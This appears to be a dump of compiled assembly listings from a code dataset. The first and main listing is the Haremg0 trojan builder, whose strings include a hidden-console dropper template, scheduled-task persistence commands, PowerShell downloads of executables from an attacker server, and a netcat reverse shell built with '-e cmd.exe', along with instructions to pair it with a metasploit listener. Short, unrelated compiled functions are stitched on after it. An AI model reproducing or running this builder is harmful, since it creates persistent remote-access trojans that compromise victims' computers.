jmp LBB7_39
LBB7_39:
jmp LBB7_40
LBB7_40:
leaq -736(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jbe LBB7_44
## %bb.41:
leaq -1504(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jbe LBB7_44
## %bb.42:
leaq -1760(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jbe LBB7_44
## %bb.43:
movl $1, -2804(%rbp)
jmp LBB7_45
LBB7_44:
leaq L_.str.47(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -2788(%rbp)
jmp LBB7_128
LBB7_45:
jmp LBB7_46
LBB7_46:
cmpl $0, -2804(%rbp)
jne LBB7_126
## %bb.47:
jmp LBB7_48
LBB7_48: ## =>This Inner Loop Header: Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2817(%rbp) ## 1-byte Spill
jne LBB7_52
## %bb.49: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2817(%rbp) ## 1-byte Spill
jne LBB7_52
## %bb.50: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.48(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2817(%rbp) ## 1-byte Spill
je LBB7_52
## %bb.51: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.49(%rip), %rsi
callq _strcmp
cmpl $0, %eax
sete %al
movb %al, -2817(%rbp) ## 1-byte Spill
LBB7_52: ## in Loop: Header=BB7_48 Depth=1
movb -2817(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB7_53
jmp LBB7_125
LBB7_53: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rsi
leaq L_.str.50(%rip), %rdi
movl $10, %edx
callq _get
leaq -218(%rbp), %rdi
leaq L_.str.51(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB7_55
## %bb.54: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.52(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_56
LBB7_55: ## in Loop: Header=BB7_48 Depth=1
leaq L_.str.53(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB7_124
LBB7_56: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB7_58
## %bb.57: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_110
LBB7_58:
leaq -480(%rbp), %rsi
leaq L_.str.54(%rip), %rdi
movl $255, %edx
callq _get
leaq -480(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_60
## %bb.59:
leaq -480(%rbp), %rdi
leaq L_.str.55(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
LBB7_60:
leaq -2272(%rbp), %rsi
leaq L_.str.56(%rip), %rdi
movl $255, %edx
callq _get
leaq -2272(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB7_62
## %bb.61:
leaq -2272(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_94
LBB7_62:
leaq -2016(%rbp), %rsi
leaq L_.str.57(%rip), %rdi
movl $255, %edx
callq _get
leaq -2016(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_64
## %bb.63:
leaq -2016(%rbp), %rdi
leaq L_.str.58(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
LBB7_64:
jmp LBB7_65
LBB7_65: ## =>This Inner Loop Header: Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.59(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2818(%rbp) ## 1-byte Spill
jne LBB7_71
## %bb.66: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.60(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2818(%rbp) ## 1-byte Spill
jne LBB7_71
## %bb.67: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.61(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2818(%rbp) ## 1-byte Spill
je LBB7_71
## %bb.68: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.62(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2818(%rbp) ## 1-byte Spill
je LBB7_71
## %bb.69: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.63(%rip), %rsi
callq _strcmp
movl %eax, %ecx
movb $1, %al
cmpl $0, %ecx
movb %al, -2818(%rbp) ## 1-byte Spill
je LBB7_71
## %bb.70: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.64(%rip), %rsi
callq _strcmp
cmpl $0, %eax
sete %al
movb %al, -2818(%rbp) ## 1-byte Spill
LBB7_71: ## in Loop: Header=BB7_65 Depth=1
movb -2818(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB7_72
jmp LBB7_93
LBB7_72: ## in Loop: Header=BB7_65 Depth=1
leaq L_.str.65(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.66(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.67(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.68(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.69(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.70(%rip), %rdi
movb $0, %al
callq _printf
leaq -2528(%rbp), %rsi
leaq L_.str.71(%rip), %rdi
movl $255, %edx
callq _get
leaq -2528(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_74
## %bb.73:
leaq -2528(%rbp), %rdi
leaq L_.str.72(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_93
LBB7_74: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.59(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_76
## %bb.75:
leaq -2528(%rbp), %rdi
leaq L_.str.73(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2784(%rbp), %rsi
leaq L_.str.74(%rip), %rdi
movl $10, %edx
callq _get
leaq -2528(%rbp), %rdi
leaq -2784(%rbp), %rsi
movl $255, %edx
callq ___strcat_chk
jmp LBB7_93
LBB7_76: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.60(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_78
## %bb.77:
leaq -2528(%rbp), %rdi
leaq L_.str.75(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2784(%rbp), %rsi
leaq L_.str.76(%rip), %rdi
movl $10, %edx
callq _get
leaq -2528(%rbp), %rdi
leaq -2784(%rbp), %rsi
movl $255, %edx
callq ___strcat_chk
jmp LBB7_93
LBB7_78: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.61(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_80
## %bb.79:
leaq -2528(%rbp), %rdi
leaq L_.str.77(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2784(%rbp), %rsi
leaq L_.str.78(%rip), %rdi
movl $10, %edx
callq _get
leaq -2528(%rbp), %rdi
leaq -2784(%rbp), %rsi
movl $255, %edx
callq ___strcat_chk
jmp LBB7_93
LBB7_80: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.62(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_82
## %bb.81:
leaq -2528(%rbp), %rdi
leaq L_.str.79(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_93
LBB7_82: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.63(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_84
## %bb.83:
leaq -2528(%rbp), %rdi
leaq L_.str.80(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_93
LBB7_84: ## in Loop: Header=BB7_65 Depth=1
leaq -2528(%rbp), %rdi
leaq L_.str.64(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_86
## %bb.85:
leaq -2528(%rbp), %rdi
leaq L_.str.81(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2784(%rbp), %rsi
leaq L_.str.82(%rip), %rdi
movl $10, %edx
callq _get
leaq -2528(%rbp), %rdi
leaq -2784(%rbp), %rsi
movl $255, %edx
callq ___strcat_chk
jmp LBB7_93
LBB7_86: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_87
LBB7_87: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_88
LBB7_88: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_89
LBB7_89: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_90
LBB7_90: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_91
LBB7_91: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_92
LBB7_92: ## in Loop: Header=BB7_65 Depth=1
jmp LBB7_65
LBB7_93:
jmp LBB7_94
LBB7_94:
leaq -736(%rbp), %rsi
leaq L_.str.83(%rip), %rdi
movl $255, %edx
callq _get
LBB7_95: ## =>This Inner Loop Header: Depth=1
leaq -736(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_97
## %bb.96: ## in Loop: Header=BB7_95 Depth=1
leaq -736(%rbp), %rsi
leaq L_.str.84(%rip), %rdi
movl $255, %edx
callq _get
jmp LBB7_95
LBB7_97:
leaq -992(%rbp), %rsi
leaq L_.str.85(%rip), %rdi
movl $255, %edx
callq _get
LBB7_98: ## =>This Inner Loop Header: Depth=1
leaq -992(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_100
## %bb.99: ## in Loop: Header=BB7_98 Depth=1
leaq -992(%rbp), %rsi
leaq L_.str.85(%rip), %rdi
movl $255, %edx
callq _get
jmp LBB7_98
LBB7_100:
leaq -1248(%rbp), %rsi
leaq L_.str.86(%rip), %rdi
movl $255, %edx
callq _get
LBB7_101: ## =>This Inner Loop Header: Depth=1
leaq -1248(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_103
## %bb.102: ## in Loop: Header=BB7_101 Depth=1
leaq -1248(%rbp), %rsi
leaq L_.str.86(%rip), %rdi
movl $255, %edx
callq _get
jmp LBB7_101
LBB7_103:
leaq -1504(%rbp), %rsi
leaq L_.str.87(%rip), %rdi
movl $25, %edx
callq _get
LBB7_104: ## =>This Inner Loop Header: Depth=1
leaq -1504(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_106
## %bb.105: ## in Loop: Header=BB7_104 Depth=1
leaq -1504(%rbp), %rsi
leaq L_.str.87(%rip), %rdi
movl $25, %edx
callq _get
jmp LBB7_104
LBB7_106:
leaq -1760(%rbp), %rsi
leaq L_.str.88(%rip), %rdi
movl $10, %edx
callq _get
LBB7_107: ## =>This Inner Loop Header: Depth=1
leaq -1760(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_109
## %bb.108: ## in Loop: Header=BB7_107 Depth=1
leaq -1760(%rbp), %rdi
leaq L_.str.89(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_107
LBB7_109:
jmp LBB7_125
LBB7_110: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.48(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB7_112
## %bb.111: ## in Loop: Header=BB7_48 Depth=1
leaq -218(%rbp), %rdi
leaq L_.str.49(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB7_122
LBB7_112:
leaq -480(%rbp), %rdi
leaq L_.str.55(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -992(%rbp), %rdi
leaq L_.str.37(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -1248(%rbp), %rdi
leaq L_.str.90(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2016(%rbp), %rdi
leaq L_.str.58(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2528(%rbp), %rdi
leaq L_.str.91(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -736(%rbp), %rsi
leaq L_.str.84(%rip), %rdi
movl $255, %edx
callq _get
LBB7_113: ## =>This Inner Loop Header: Depth=1
leaq -736(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_115
## %bb.114: ## in Loop: Header=BB7_113 Depth=1
leaq -736(%rbp), %rsi
leaq L_.str.84(%rip), %rdi
movl $255, %edx
callq _get
jmp LBB7_113
LBB7_115:
leaq -1504(%rbp), %rsi
leaq L_.str.87(%rip), %rdi
movl $25, %edx
callq _get
LBB7_116: ## =>This Inner Loop Header: Depth=1
leaq -1504(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_118
## %bb.117: ## in Loop: Header=BB7_116 Depth=1
leaq -1504(%rbp), %rsi
leaq L_.str.87(%rip), %rdi
movl $25, %edx
callq _get
jmp LBB7_116
LBB7_118:
leaq -1760(%rbp), %rsi
leaq L_.str.88(%rip), %rdi
movl $10, %edx
callq _get
LBB7_119: ## =>This Inner Loop Header: Depth=1
leaq -1760(%rbp), %rdi
callq _strlen
cmpq $0, %rax
jne LBB7_121
## %bb.120: ## in Loop: Header=BB7_119 Depth=1
leaq -1760(%rbp), %rdi
leaq L_.str.89(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
jmp LBB7_119
LBB7_121:
jmp LBB7_125
LBB7_122: ## in Loop: Header=BB7_48 Depth=1
jmp LBB7_123
LBB7_123: ## in Loop: Header=BB7_48 Depth=1
jmp LBB7_124
LBB7_124: ## in Loop: Header=BB7_48 Depth=1
jmp LBB7_48
LBB7_125:
jmp LBB7_127
LBB7_126:
leaq -480(%rbp), %rdi
leaq L_.str.55(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -992(%rbp), %rdi
leaq L_.str.37(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -1248(%rbp), %rdi
leaq L_.str.90(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2016(%rbp), %rdi
leaq L_.str.58(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
leaq -2528(%rbp), %rdi
leaq L_.str.91(%rip), %rsi
movl $255, %edx
callq ___strcpy_chk
LBB7_127:
leaq -480(%rbp), %rsi
leaq L_.str.92(%rip), %rdi
movb $0, %al
callq _printf
leaq -736(%rbp), %rsi
leaq L_.str.93(%rip), %rdi
movb $0, %al
callq _printf
leaq -992(%rbp), %rsi
leaq -1248(%rbp), %rdx
leaq L_.str.94(%rip), %rdi
movb $0, %al
callq _printf
leaq -1504(%rbp), %rsi
leaq L_.str.95(%rip), %rdi
movb $0, %al
callq _printf
leaq -1760(%rbp), %rsi
leaq L_.str.96(%rip), %rdi
movb $0, %al
callq _printf
leaq -2272(%rbp), %rsi
leaq L_.str.97(%rip), %rdi
movb $0, %al
callq _printf
leaq -480(%rbp), %rdi
leaq -736(%rbp), %rsi
leaq -992(%rbp), %rdx
leaq -1248(%rbp), %rcx
leaq -2272(%rbp), %r8
leaq -2016(%rbp), %r9
leaq -2528(%rbp), %r10
leaq -208(%rbp), %rax
movq %r10, (%rsp)
movq %rax, 8(%rsp)
callq _generatePayload
leaq -480(%rbp), %rdi
leaq -1504(%rbp), %rsi
leaq -1760(%rbp), %rdx
leaq -1248(%rbp), %rcx
leaq -992(%rbp), %r8
callq _generateExtension
leaq -1248(%rbp), %rdi
callq _generateNc
leaq -992(%rbp), %rsi
leaq -1248(%rbp), %rdx
leaq -736(%rbp), %rcx
leaq -208(%rbp), %r8
leaq L_.str.98(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.99(%rip), %rdi
movb $0, %al
callq _scanf
movl $0, -2788(%rbp)
LBB7_128:
movl -2788(%rbp), %eax
movl %eax, -2824(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB7_130
## %bb.129:
movl -2824(%rbp), %eax ## 4-byte Reload
addq $2848, %rsp ## imm = 0xB20
popq %rbp
retq
LBB7_130:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s"
L_.str.1: ## @.str.1
.asciz "Creating %s ...\n"
L_.str.2: ## @.str.2
.asciz "windres RES/RC/res_"
L_.str.3: ## @.str.3
.asciz ".rc -O coff -o RES/RC/res_TMP"
L_.str.4: ## @.str.4
.asciz "start /MIN g++ -static "
L_.str.5: ## @.str.5
.asciz " RES/RC/res_TMP -o OUTPUT/"
L_.str.6: ## @.str.6
.asciz ".exe"
L_.str.7: ## @.str.7
.asciz "RES/RC/res_TMP"
.section __TEXT,__const
.p2align 4 ## @generateRandomString.alphanum
_generateRandomString.alphanum:
.asciz "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
.p2align 4 ## @__const.obfuscate.alphabet
l___const.obfuscate.alphabet:
.asciz "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 .-><:'()/&^\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
L_.str.8: ## @.str.8
.asciz "#include <iostream>\n#include <windows.h>\n#include <string>\nint main(int argc, char *argv[])\n{\nShowWindow(GetConsoleWindow(), SW_HIDE);\n"
L_.str.9: ## @.str.9
.asciz "w+"
L_.str.10: ## @.str.10
.asciz "std::string "
L_.str.11: ## @.str.11
.asciz " = \""
L_.str.12: ## @.str.12
.asciz "\";"
L_.str.13: ## @.str.13
.asciz "\n"
L_.str.14: ## @.str.14
.asciz "system(("
L_.str.15: ## @.str.15
.asciz "+"
L_.str.16: ## @.str.16
.asciz ").c_str());\nreturn 0;\n}"
L_.str.17: ## @.str.17
.asciz "c: & cd / & mkdir "
L_.str.18: ## @.str.18
.asciz " & cd "
L_.str.19: ## @.str.19
.asciz "y"
L_.str.20: ## @.str.20
.asciz "Y"
L_.str.21: ## @.str.21
.asciz " & schtasks /create /tn "
L_.str.22: ## @.str.22
.asciz " /tr "
L_.str.23: ## @.str.23
.asciz "/"
L_.str.24: ## @.str.24
.asciz ".exe "
L_.str.25: ## @.str.25
.asciz " /f "
L_.str.26: ## @.str.26
.asciz "& powershell.exe (wget 'http://"
L_.str.27: ## @.str.27
.asciz ".exe' -OutFile "
L_.str.28: ## @.str.28
.asciz ".exe) & powershell.exe (wget 'http://"
L_.str.29: ## @.str.29
.asciz ".exe) & "
L_.str.30: ## @.str.30
.asciz ".exe & exit"
L_.str.31: ## @.str.31
.asciz "c_TMP_PAYLOAD.cpp"
L_.str.32: ## @.str.32
.asciz "PAYLOAD"
L_.str.33: ## @.str.33
.asciz "START /MIN "
L_.str.34: ## @.str.34
.asciz " "
L_.str.35: ## @.str.35
.asciz " -e cmd.exe -d ^"
L_.str.36: ## @.str.36
.asciz "c_TMP_EXTENSION.cpp"
L_.str.37: ## @.str.37
.asciz "FILE_A"
L_.str.38: ## @.str.38
.asciz "gcc -w -DNDEBUG -DWIN32 -D_CONSOLE -DTELNET -DGAPING_SECURITY_HOLE RES/SRC/NC/getopt.c RES/SRC/NC/doexec.c RES/SRC/NC/netcat.c -s -lkernel32 -luser32 -lwsock32 -lwinmm -o OUTPUT/"
L_.str.39: ## @.str.39
.asciz ".___.__ .______ .______ ._______._____.___ ._____ \n"
L_.str.40: ## @.str.40
.asciz ": | \\ : \\ : __ \\ : .____/: |:_ ___\\ \n"
L_.str.41: ## @.str.41
.asciz "| : || . || \\____|| : _/\\ | \\ / || |___\n"
L_.str.42: ## @.str.42
.asciz "| . || : || : \\ | / \\| |\\/ || / |\n"
L_.str.43: ## @.str.43
.asciz "|___| ||___| || |___\\|_.: __/|___| | ||. __ |\n"
L_.str.44: ## @.str.44
.asciz " |___| |___||___| :/ |___| :/ |. |\n"
L_.str.45: ## @.str.45
.asciz " : :/ \n"
L_.str.46: ## @.str.46
.asciz " Created by mickdec. https://github.com/mickdec/Haremg0.B-cl\n\n"
.section __TEXT,__const
.p2align 4 ## @__const.main.payload_name
l___const.main.payload_name:
.asciz "PAYLOAD\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
L_.str.47: ## @.str.47
.asciz "Input Error."
L_.str.48: ## @.str.48
.asciz "n"
L_.str.49: ## @.str.49
.asciz "N"
L_.str.50: ## @.str.50
.asciz "Do you want to do a full config ? [y/n] (type h hor help) : "
L_.str.51: ## @.str.51
.asciz "h"
L_.str.52: ## @.str.52
.asciz "H"
L_.str.53: ## @.str.53
.asciz "\nHaremg0 will automate the creation of trojan, you can edit everything instead of the system code who's sended to the victim.\nBefore lauching this application, please beware of some importants things :\n\n 1 - You will need an external server. in local or in WAN, it doesnt matter (if the victim is not in your local server network of course it can't access to the file ...)\n Apache, nginx, anything, if you can share files trough the IP it's fine. (Example : 10.0.0.1) you can provide your domain name of course.\n\n 2 - You will need a Listener, a server who listen for TCP connection. it could be a NodeJS server, a C server, it doesnt matter too.\n Of course it will be usefull if you can PIPE the cmd stdin for interacting with the \"victim\" i prefer a metasploit listener.\n Just use \"multi/handler\" set the payload \"windows\\shell\\reverse_tcp\\\", define your PORT and it will be fine.\n\nHaremg0 can be used as a CLI :\n -s (server) : Define your file provider server (ex : 10.0.0.1)\n -h (host) : Define your Listener IP address (ex : 10.0.0.1)\n -p (port) : Define your Listener port (ex : 445)\nExample :\n Haremg0.exe -s 10.0.0.1 -h 10.0.0.1 -p 5000\n\nBy default without options, it will launch the GUI.\n\n\nNow, you can edit the icons of the two files who will be created, juste paste your desired ico here : \"RES/SRC\"\nJust please be sure to respect the name of the ICO files \"FILE_A.ico\" and \"PAYLOAD.ico\".\n\nFor source code version only :\nYou can compile the generator using gcc, i have made a little bat file here \"RES/SRC\\\"\n\n"
L_.str.54: ## @.str.54
.asciz "Please enter the dir you want to create to the victim [default : 'C:\\System']: "
L_.str.55: ## @.str.55
.asciz "C:\\System"
L_.str.56: ## @.str.56
.asciz "Do you want to create a tasksystem ? [y/n]"
L_.str.57: ## @.str.57
.asciz "Please enter the name for the system task you want to create to the victim [default : 'TaskSystem']: "
L_.str.58: ## @.str.58
.asciz "TaskSystem"
L_.str.59: ## @.str.59
.asciz "1"
L_.str.60: ## @.str.60
.asciz "2"
L_.str.61: ## @.str.61
.asciz "3"
L_.str.62: ## @.str.62
.asciz "4"
L_.str.63: ## @.str.63
.asciz "5"
L_.str.64: ## @.str.64
.asciz "6"
L_.str.65: ## @.str.65
.asciz "1 - MINUTE - Run the task on specified minutes.\n"
L_.str.66: ## @.str.66
.asciz "2 - HOURLY - Run the task on specified hours.\n"
L_.str.67: ## @.str.67
.asciz "3 - DAILY - Run the task on specified day.\n"
L_.str.68: ## @.str.68
.asciz "4 - ONSTART - Run the task on startup.\n"
L_.str.69: ## @.str.69
.asciz "5 - ONLOGON - Run the task on longon.\n"
L_.str.70: ## @.str.70
.asciz "6 - ONIDLE - Run the task on idle.\n"
L_.str.71: ## @.str.71
.asciz "Please enter the time of recursive call for the system task you want to create to the victim [default : 'minutes']: "
L_.str.72: ## @.str.72
.asciz "/sc minute /MO 1"
L_.str.73: ## @.str.73
.asciz "/sc minute /MO "
L_.str.74: ## @.str.74
.asciz "How many minutes ? : "
L_.str.75: ## @.str.75
.asciz "/sc hour /MO "
L_.str.76: ## @.str.76
.asciz "How many hours ? : "
L_.str.77: ## @.str.77
.asciz "/sc daily /MO "
L_.str.78: ## @.str.78
.asciz "How many days ? : "
L_.str.79: ## @.str.79
.asciz "/SC ONSTART"
L_.str.80: ## @.str.80
.asciz "/SC ONLOGON"
L_.str.81: ## @.str.81
.asciz "/sc onidle /I "
L_.str.82: ## @.str.82
.asciz "How many idle time ? : "
L_.str.83: ## @.str.83
.asciz "Please enter your server (who provide the files) adress [example : 10.0.0.1/RES or provider.com]: "
L_.str.84: ## @.str.84
.asciz "Please enter your file provider adress [example : 10.0.0.1/RES or provider.com]: "
L_.str.85: ## @.str.85
.asciz "Please enter the first file your file provider will serve [example : FileA]: "
L_.str.86: ## @.str.86
.asciz "Please enter the second file your file provider will serve [example : FileB]: "
L_.str.87: ## @.str.87
.asciz "Please enter your listener IP [example : 10.0.0.1]: "
L_.str.88: ## @.str.88
.asciz "Please enter your listener PORT [default : 4444]: "
L_.str.89: ## @.str.89
.asciz "4444"
L_.str.90: ## @.str.90
.asciz "FILE_B"
L_.str.91: ## @.str.91
.asciz "/sc minute /mo 5"
L_.str.92: ## @.str.92
.asciz "CREATED DIR : %s\n"
L_.str.93: ## @.str.93
.asciz "FILE PROVIDER IP : %s\n"
L_.str.94: ## @.str.94
.asciz "FILES PROVIDED : %s and %s\n"
L_.str.95: ## @.str.95
.asciz "HOST PROVIDED : %s\n"
L_.str.96: ## @.str.96
.asciz "PORT PROVIDED : %s\n"
L_.str.97: ## @.str.97
.asciz "CREATING TASK : %s\n"
L_.str.98: ## @.str.98
.asciz "Now you just have to place %s.exe and %s.exe here %s, share %s.exe and start your listener.\nHappy hunting !!"
L_.str.99: ## @.str.99
.asciz "%d"
.subsections_via_symbols
| the_stack_data/1004440.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ; -- Begin function foo
.p2align 2
_foo: ; @foo
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str d0, [sp, #24]
str d1, [sp, #16]
ldr d0, [sp, #24]
ldr d1, [sp, #16]
fcmp d0, d1
cset w8, vc
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr d0, [sp, #24]
str d0, [sp, #8] ; 8-byte Folded Spill
b LBB0_3
LBB0_2:
ldr d0, [sp, #16]
str d0, [sp, #8] ; 8-byte Folded Spill
b LBB0_3
LBB0_3:
ldr d0, [sp, #8] ; 8-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ## -- Begin function foo
.p2align 4, 0x90
_foo: ## @foo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd %xmm1, -16(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
ucomisd -16(%rbp), %xmm0
jnp LBB0_2
## %bb.1:
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp) ## 8-byte Spill
jmp LBB0_3
LBB0_2:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp) ## 8-byte Spill
LBB0_3:
movsd -24(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/117326703.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/165766234.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x7ff8000000000000 ; double NaN
lCPI0_1:
.quad 0x7ff0000000000000 ; double +Inf
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1024
